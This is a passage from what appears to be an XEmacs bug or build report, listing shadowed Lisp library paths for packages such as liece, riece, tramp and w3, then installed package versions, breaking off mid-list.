/Users/skip/local/lib/xemacs/xemacs-packages/lisp/jde/jde-bug /Users/skip/local/lib/xemacs/xemacs-packages/jde/lisp/jde-bug /Users/skip/local/lib/xemacs/xemacs-packages/lisp/jde/jde-ant /Users/skip/local/lib/xemacs/xemacs-packages/jde/lisp/jde-ant /Users/skip/local/lib/xemacs/xemacs-packages/lisp/jde/efc /Users/skip/local/lib/xemacs/xemacs-packages/jde/lisp/efc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/jde/beanshell /Users/skip/local/lib/xemacs/xemacs-packages/jde/lisp/beanshell /Users/skip/local/lib/xemacs/xemacs-packages/lisp/elib/queue-m /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/queue-m /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-xemacs /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-xemacs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-x-face /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-x-face /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-window /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-window /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-version /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-version /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-vars /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-vars /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-url /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-url /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-tcp /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-tcp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-setup /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-setup /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-q-el /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-q-el /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-nick /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-nick /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-misc /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-misc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-minibuf /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-minibuf /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-message /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-message /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-menu /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-menu /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-mail /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-mail /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-intl /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-intl /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-inlines /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-inlines /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-hilit /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-hilit /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-handler /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-handler /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-handle /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-handle /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-globals /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-globals /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-filter /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-filter /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-dcc /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-dcc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-ctcp /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-ctcp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-compat /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-compat /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-commands /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-commands /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-coding /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-coding /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-clfns /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-clfns /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-channel /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-channel /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-500 /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-500 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-400 /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-400 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-300 /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-300 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-200 /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-200 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/liece-000 /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/liece-000 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/liece/gettext /Users/skip/local/lib/xemacs/xemacs-packages/liece/lisp/gettext /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-xemacs /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-xemacs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-version /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-version /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-user /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-user /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-url /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-url /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-unread /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-unread /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-skk-kakutei /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-skk-kakutei /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-server /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-server /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-rdcc /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-rdcc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-options /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-options /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-naming /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-naming /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-misc /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-misc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-mini /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-mini /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-message /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-message /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-menu /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-menu /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-log /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-log /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-layout /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-layout /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-keyword /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-keyword /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-identity /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-identity /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-icon /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-icon /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-history /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-history /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-highlight /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-highlight /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-handle /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-handle /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-guess /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-guess /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-globals /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-globals /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-filter /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-filter /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-emacs /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-emacs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-doctor /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-doctor /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-display /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-display /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-ctcp /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-ctcp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-complete /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-complete /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-compat /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-compat /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-commands /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-commands /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-coding /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-coding /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-channel /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-channel /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-button /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-button /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-async /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-async /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-alias /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-alias /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-500 /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-500 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-400 /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-400 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-300 /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-300 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-200 /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-200 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/riece/riece-000 /Users/skip/local/lib/xemacs/xemacs-packages/riece/lisp/riece-000 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/trampver /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/trampver /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/trampcache /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/trampcache /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp-vc /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp-vc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp-uu /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp-uu /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp-util /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp-util /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp-smb /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp-smb /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp-ftp /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp-ftp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/tramp/tramp-efs /Users/skip/local/lib/xemacs/xemacs-packages/tramp/lisp/tramp-efs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3 /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-xemac /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-xemac /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-widget /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-widget /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-vars /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-vars /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-toolbar /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-toolbar /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-sysdp /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-sysdp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-style /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-style /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-speak /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-speak /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-speak-table /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-speak-table /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-script /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-script /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-props /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-props /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-print /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-print /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-parse /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-parse /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-mouse /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-mouse /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-menu /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-menu /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-latex /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-latex /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-keyword /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-keyword /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-jscript /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-jscript /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-java /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-java /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-imap /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-imap /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-hotindex /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-hotindex /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-hot /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-hot /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-forms /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-forms /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-emulate /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-emulate /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-elisp /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-elisp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-e20 /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-e20 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-e19 /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-e19 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-display /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-display /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-cus /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-cus /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-cfg /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-cfg /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-auto /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-auto /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/w3-about /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/w3-about /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-vars /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-vars /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-parse /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-parse /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-ns /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-ns /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-nfs /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-nfs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-news /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-news /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-misc /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-misc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-mail /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-mail /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-ldap /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-ldap /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-irc /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-irc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-http /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-http /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-gw /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-gw /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-gopher /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-gopher /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-file /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-file /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-cookie /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-cookie /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-cid /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-cid /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-cache /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-cache /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/url-auth /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/url-auth /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/ssl /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/ssl /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/socks /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/socks /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/mule-sysdp /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/mule-sysdp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/mm /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/mm /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/images /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/images /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/dsssl /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/dsssl /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/dsssl-flow /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/dsssl-flow /Users/skip/local/lib/xemacs/xemacs-packages/lisp/w3/css /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/css /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-xmacs /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-xmacs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-vars /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-vars /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-texi /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-texi /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-tex /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-tex /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-site /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-site /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-sgml /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-sgml /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-nomule /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-nomule /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-myuc /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-myuc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-mule /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-mule /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-macs /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-macs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-image /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-image /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-hooks /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-hooks /Users/skip/local/lib/xemacs/xemacs-packages/lisp/x-symbol/x-symbol-bib /Users/skip/local/lib/xemacs/xemacs-packages/x-symbol/lisp/x-symbol-bib /Users/skip/local/lib/xemacs/xemacs-packages/lisp/xslt-process/xslt-process /Users/skip/local/lib/xemacs/xemacs-packages/xslt-process/lisp/xslt-process /Users/skip/emacs/isearch-mode /Users/skip/local/lib/xemacs-21.5-b16/lisp/isearch-mode /Users/skip/local/lib/xemacs/xemacs-packages/w3/lisp/font /Users/skip/local/lib/xemacs-21.5-b16/lisp/font /Users/skip/local/lib/xemacs/xemacs-packages/lisp/build/build-report /Users/skip/local/lib/xemacs-21.5-b16/lisp/build-report) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: 1.2.1) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: 2.3.2) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.14 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.04 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.17 upstream: 2.0) (ecb ver: 1.15 upstream: 2.20) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: 1.8) (debug ver: 